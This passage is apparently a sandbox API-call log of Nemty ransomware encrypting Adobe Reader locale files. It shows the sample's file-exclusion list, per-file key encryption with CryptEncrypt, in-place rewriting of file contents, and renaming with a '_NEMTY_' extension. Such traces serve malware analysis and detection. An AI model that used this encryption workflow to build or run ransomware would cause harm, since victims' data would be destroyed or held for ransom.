[0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="ntuser.dat") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="desktop.ini") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="CONFIG.SYS") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="RECYCLER") returned -1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="bootmgr") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="programdata") returned -1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="appdata") returned 1 [0182.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUM", lpUsedDefaultChar=0x0) returned 9 [0182.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUM", lpUsedDefaultChar=0x0) returned 9 [0182.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUM", lpUsedDefaultChar=0x0) returned 9 [0182.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUM", lpUsedDefaultChar=0x0) returned 9 [0182.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.529] Sleep (dwMilliseconds=0x5) [0182.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2071fd90, dwHighDateTime=0x1d561e8)) [0182.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2071fd90, dwHighDateTime=0x1d561e8)) [0182.533] GetLastError () returned 0x0 [0182.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.534] GetLastError () returned 0x0 [0182.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.534] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.534] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.534] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.534] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="4svRUyLMWrpNVvgSamPSo1C0A2IdABsG/0sSV2lMxGFol2Jq5hJnpSPPWwi7MwDH\r\nRBAL2fn5bt01e+0SJj9COnQTFy4CiQXXWloz60cUvSfEPls6d2QgDG1sNnE1XIjv\r\nCggd5BSDDMkYZfitpqRDuAH6llpN7fPGEY9FUR4iejk8hmyHJmaE5A9EQgLP6scd\r\nOwGygPlLfjoI4D+iquy+nnoXPAJ3mbbXMgAR16zjV1vzdxG3vVi0E25CQCwl90v6\r\no/EFi5A7bDXXFNiS95JSQd/Du4ySDqNSeTA/S1ZXnosXCQ0ZEvQQUxtxw/zaYdKq\r\ncdxqoHxp802N76aaiPkjdw==\r\n", pcchString=0x653e5dc) returned 1 [0182.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PDDom.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\pddom.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.535] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0182.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0182.535] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.535] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0182.537] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.537] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0182.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.537] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0182.537] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.537] CloseHandle (hObject=0x2e8) returned 1 [0182.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0182.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.538] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PDDom.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\pddom.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PDDom.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\pddom.rum._nemty_kgobjgd_")) returned 1 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.538] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.RUM", cAlternateFileName="")) returned 1 [0182.538] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2=".") returned 1 [0182.538] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="..") returned 1 [0182.538] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="...") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="windows") returned -1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="rsa") returned -1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="NTDETECT.COM") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="ntldr") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="MSDOS.SYS") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="IO.SYS") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="boot.ini") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="boot.ini") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="ntuser.dat") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="desktop.ini") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="CONFIG.SYS") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="RECYCLER") returned -1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="bootmgr") returned 1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="programdata") returned -1 [0182.539] lstrcmpiW (lpString1="PPKLITE.RUM", lpString2="appdata") returned 1 [0182.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.RUM", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.540] Sleep (dwMilliseconds=0x5) [0182.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20745ef0, dwHighDateTime=0x1d561e8)) [0182.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20745ef0, dwHighDateTime=0x1d561e8)) [0182.549] GetLastError () returned 0x0 [0182.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.549] GetLastError () returned 0x0 [0182.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.549] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.549] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.549] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.549] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="opATyhqYI+avcgo0JwoiWJhp3lPfQpxp7eIZTL6+7wU37kJC9uRr+V4rzdF7TkKQ\r\n1td8UjOXti51NvGuc2dNZgWeuvz76IXxZi5U5XOR33hjaSut4Yv37p0m0iRdYqly\r\nC0oJVjbsruCCbaR/itzyrf7yba/Rb8FoeIY7GiZEAxjuJCIMDkp4RV2IeRN1q4kI\r\nvADUDFvBSyrQXgOwwHSse0GX+N6bSzkiu93zYIVejRdU2xhA+SJP4E9ZWKPNojD/\r\nZD2VGcS+P8g4GsUOYzhhKhMcQomdbNq4D9S5AEWPdcBAMxBhPXMdD3A+Jyj1wMew\r\nouWmhRQZi0xciqsjbSmZkA==\r\n", pcchString=0x653e5dc) returned 1 [0182.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PPKLITE.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ppklite.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.550] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=534016) returned 1 [0182.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.550] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.550] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.559] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.559] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.560] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=534016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x82600 [0182.560] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.561] CloseHandle (hObject=0x2e8) returned 1 [0182.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.562] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PPKLITE.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ppklite.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PPKLITE.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ppklite.rum._nemty_kgobjgd_")) returned 1 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.562] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807a3460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.RUM", 